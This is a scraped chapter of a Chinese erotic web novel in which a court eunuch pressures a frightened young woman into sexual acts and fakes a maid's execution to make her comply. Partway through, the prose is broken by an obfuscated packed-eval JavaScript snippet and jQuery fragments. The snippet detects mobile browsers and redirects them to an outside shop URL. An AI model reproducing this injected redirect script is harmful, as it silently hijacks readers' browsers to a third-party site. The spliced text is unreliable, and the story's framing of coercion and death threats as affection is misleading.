默认冷灰
24号文字
方正启体

36. [锁] [此章节已锁]

作者:栖木生花本书字数:K更新时间:
    黑金马车沿着宫道徐徐前行,路人远远见着,慌忙退避,更别提抬头窥视车里的动静。


    谢今安困意上袭,纤长的睫羽颤了颤,缓缓阖上,薄唇轻含着枚墨玉平安扣,歪头倒在沈聿舟肩头,嘴角的涎液漫出嘴角,顺着璃龙纹悬出几缕水光。


    沈聿舟没在意她,任由她倚着。


    他抬起手,指节微曲,借着车窗透进的光亮,慢条斯理地端详起来。


    自从养了她,他的注意力时常便会停在这双手上。


    肌肤白皙,像是被浸透薄酒的白釉珍瓷,釉面泛着水光的浅淡血丝如同蛛网般,缠绕纠缠,布满他指上每寸肌肤,粘稠无状。他轻捻指腹,带出几缕擦杂绯意的水丝,光滑潮润。


    愉悦感涌上心头,他手指在空中倾斜,任由粘密的水痕顺着指缝,蔓延至指尖,悬成一颗圆珠,将坠未坠。


    忽地,圆珠惊落,拖着纤长的尾,滴进素绿衣裙,片刻后,才沁出一小朵淡色的粉梅。


    沈聿舟拥着她,轻声安抚,视线却从未移开指尖。


    他心思悸动,抬手置于唇边,轻轻舔舐,漆眸微亮。


    好像更可口了。


    临到府外,马车停稳,沈聿舟理顺她的衣裙,将人单手抱起,低眉瞧见自己玄袍上潮润一片,应该是刚才沾染到的。


    他掂了掂怀中的少女,她面色红润,哼唧一声,口齿轻含的平安扣掉落,被沈聿舟稳稳接在手心里,重新揣回袖中。


    “要是碎了,用你小命赔都不够……”


    沈聿舟淡淡威胁,但无人回应,耳边只有清浅均匀的呼吸,显然已经睡熟了。


    “没心没肺的东西……”


    ——


    谢今安再醒来,窗外已是漆黑一片。


    屋内烛火暖暖,谢今安掀开被褥,支起身子,唤了声“春桃。”


    无人应答。


    窗未关紧,一阵风沿着窗缝吹进,吹在带着潮意的衣裳上,凉意让她情不自禁瑟缩一下,伸手拢了拢领口,发现已不是清早穿的那件。


    连里头的小衣也换了。


    一瞬间,她想起马车上肆无忌惮的荒唐事。


    脸颊不由地羞红,她环视四周,发现这不是她住的厢房。


    屋里陈设简单,素淡冷清,好在烛火晕着昏黄的光晕,添了些温度。


    榻边也没搁置鞋子。


    她坐在榻边,寻不到鞋子的踪迹,足尖点在地上,刺骨的凉意传来,慌忙收回,又试探了一下。


    温度能接受了。


    足弓拱出好看的弧度,踩在干净的地砖上,晃晃悠悠往外走。


    她掀开帘子,就见沈聿舟伏在案上,指间夹着小刀,在雕琢什么。


    “醒来了?”


    沈聿舟放下手中动作,将衣摆顺到一边,伸手去揽她。


    谢今安没回声,理所当然钻进他怀里,拿起桌上铃铛状的玉料,样式极小,她放在手心,用指轻触,没有悦耳的声响,有些不解,


    “这是什么?”


    “怎么没穿鞋?”


    “我没找到,刚喊人也没人应。”


    “你睡不安宁,呓语不绝,我当是谁家猫儿乱叫。”


    “可能认床吧,睡得不安稳……”


    谢今安打了个哈欠,往他怀里缩了缩,


    “这是什么?”


    “小铃铛,”


    沈聿舟取走她手里的玉铃铛,轻轻一扣,铃铛开了个口,


    “这里是装东西的。”


    “首饰盒吗?可是连颗东珠都放不下。”


    “是养小东西用的。”


    他从旁拿过一个锦盒,谢今安认识,是宴上他从司礼监特意取来的。


    打开盒子,飞出一个通体金色的小虫子,沈聿舟抬起指,虫子就落在他指背上。


    “害怕吗?”


    虫子小巧,光线下,晕着淡色光团。


    “不怕,萤火虫?”


    “可比萤火虫珍贵得多。”


    “怎么想起来养虫子?这么小,不如养个猫猫狗狗。”


    谢今安指尖逗弄着小虫,虫子双翅震动,倒是挺活泼,但她总觉得一不小心就会弄坏它。


    “它有妙用,泱泱想试试吗?”


    他凤眸微眯,扬出不怀好意的弧度,谢今安隐隐觉得不妙,赶忙摇头拒绝。


    “你若是不试,它可会饿死的,泱泱菩萨心肠,不会看着这小东西死吧。”


    “怎么试?”


    沈聿舟勾起唇角,将虫子放置在铃铛里面,扣住卡扣,铃铛颤个不停,翅膀撞击玉璧发出叮铃脆响。


    谢今安接过铃铛,小东西在她指间抖个不停,酥酥麻麻的,“这是什么东西?”


    “缅铃啊,泱泱醉时一口一个缅铃,我当你识得呢。”


    沈聿舟笑得狡黠,像是个得逞的狐狸,


    “这小虫子可是好不容易得来的金甲翅虫,泱泱要用,便要用最好的,试试吧。”


    闻言,谢今安惊得松了手,缅铃从手中滑落,眼看就要坠地,却被沈聿舟稳稳接住。


    “想毁铃铛?咱家下午做了不止一个小玩意,泱泱还想试试别的?”


    “不小心手滑……”


    “是泱泱让咱家寻个趁手的,不挨个试试,怎么知道哪个趁手?”


    腰间传来凉意,谢今安能清晰感受到他掌心的薄茧,紧贴她腰窝,她下意识叫出声来,“不要乱来!”


    “怎么算乱来呢?今个在车上,泱泱红光满面,瞧着可是很欢喜。”


    “冰……”


    “那咱家焐热给泱泱用?”


    “好掌印,我害怕……”


    谢今安想到那个铃铛塞进体内,就汗毛倒竖,怕得全身轻颤,咬着下唇,委屈巴巴,


    “会伤着的。”


    “咱家小心,伤不到的。”


    “可是……我没准备好……”


    谢今安见他认真,起身就想逃,却被他禁锢住,动弹不得,急得啪嗒啪嗒落着泪。


    今日马车上虽然他小心翼翼,但撕裂的疼痛还是刻骨铭心,本能地害怕这些。


    “掌印……”


    “那把药喝了,”


    沈聿舟瞄了眼炉上温的药汤,缅铃被他扔回锦盒里,


    “咱家晚上自个研究……”


    “苦……”


    “咱家心善,还有个不苦的法子,你要试试吗?”


    “什么?”


    “被咱家拍晕,但咱家手里没轻没重的,往日拍死的不在少数。”


    沈聿舟端起药碗,黑漆漆的汤药倒映着谢今安的愁容。


    “我选喝药……”


    沈聿舟端起碗一饮而尽,又尽数渡给她。


    苦药


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333650|196024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    入喉,谢今安预想的困意没有袭来,困惑地开口:“是我睡够的原因吗?”


    “那是醒酒汤,怕你明儿醒来怨咱家,连口肉汤都不给你喝。”


    “那……”


    谢今安又瞄了眼翕动的缅铃,粉黛色眉尖皱成一团,却被沈聿舟用指腹缓缓磨平。


    “下头上了药,等好了咱家再琢磨琢磨。”


    上药?


    谢今安脸腾地红了,结结巴巴,“你……上的?”


    沈聿舟将缅铃放进锦盒,留了条缝,侧目瞥了她眼,嗤笑出声,


    “这事,咱家还能假手于人?”


    谢今安连露在外的脖颈都憋得通红。


    “这会知羞了?醉时没皮没脸的样呢?”


    “莫要说了……”


    ——


    自那天之后,沈聿舟几乎天天宿在府里。


    谢今安每次见他时,他手里都拿着新鲜玩意,单是瞧着,她都有些害怕,见面绕着他走,最后谎称自己病着,才躲过一劫。


    用过晚膳,她歇在院中吹着凉风。


    天气回暖,院内栽种的玉兰开了花,漫着浅淡的甜香。


    她听到门外有了动静,慌忙起身,钻进旁边的厢房,躺回床上装睡,实则竖起耳朵听屋外的动静。


    脚步声越来越近。


    “督主,夫人她睡了。”春枝老实禀告。


    谢今安心头窃喜,然而下一秒就听到沈聿舟寒凉的音节响起。


    “春枝,你可知骗本督的下场?”


    他阴恻恻地笑出声,笑得人汗毛发颤,


    “拉下去,杖毙。”


    “督主饶命!”


    谢今安猛然从床上坐起,向外赶去,一开门,见到两个小太监往外拖春枝。


    一向沉稳的春枝,此刻满脸惶恐,泪都溢出来了。


    沈聿舟这是动真格了?


    “这不是没睡吗?”


    沈聿舟嘴角笑弧加深,凤眸盛满戏谑,长指描摹着谢今安的侧脸,笑得渗人,


    “春枝啊,本督能给夫人好脸色,不代表本督心肠软了。”


    几日相处,沈聿舟待她极好,以至于谢今安差点忘记,他本就阴晴不定。


    “别伤她……”谢今安嘴唇嗫嚅。


    沈聿舟居高临下地打量她,苍白惶恐,他很满意。


    “求本督,就饶了她。”


    “求你……我答应你……”


    谢今安踮起脚尖,凑近几分,咬着唇,极轻地续道,


    “我答应你……玉铃铛……”


    身后小太监迟迟没有动作,沈聿舟见人委屈得快哭,慢吞吞开口:


    “没听见?你们主子让放人。”


    春枝被人松开,立马跪倒在地,在阶下磕头,“谢督主饶命,谢夫人饶命。”


    一副劫后余生的模样。


    沈聿舟抬抬手,示意他们散了。


    “这会儿清醒了?”


    沈聿舟摇头轻笑,指腹捻弄她垂落的唇角,


    “吓到了?外头茶还冒着气儿,你偏哄我说睡着了,不过试探一句,你倒当真了?”


    “你吓我的?”


    “嗯。”


    “春枝跟你合起伙,骗我?”


    “她不知道,”沈聿舟指背掠去她眼尾清泪,“行啦,甭哭了,方才你可是求我了……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)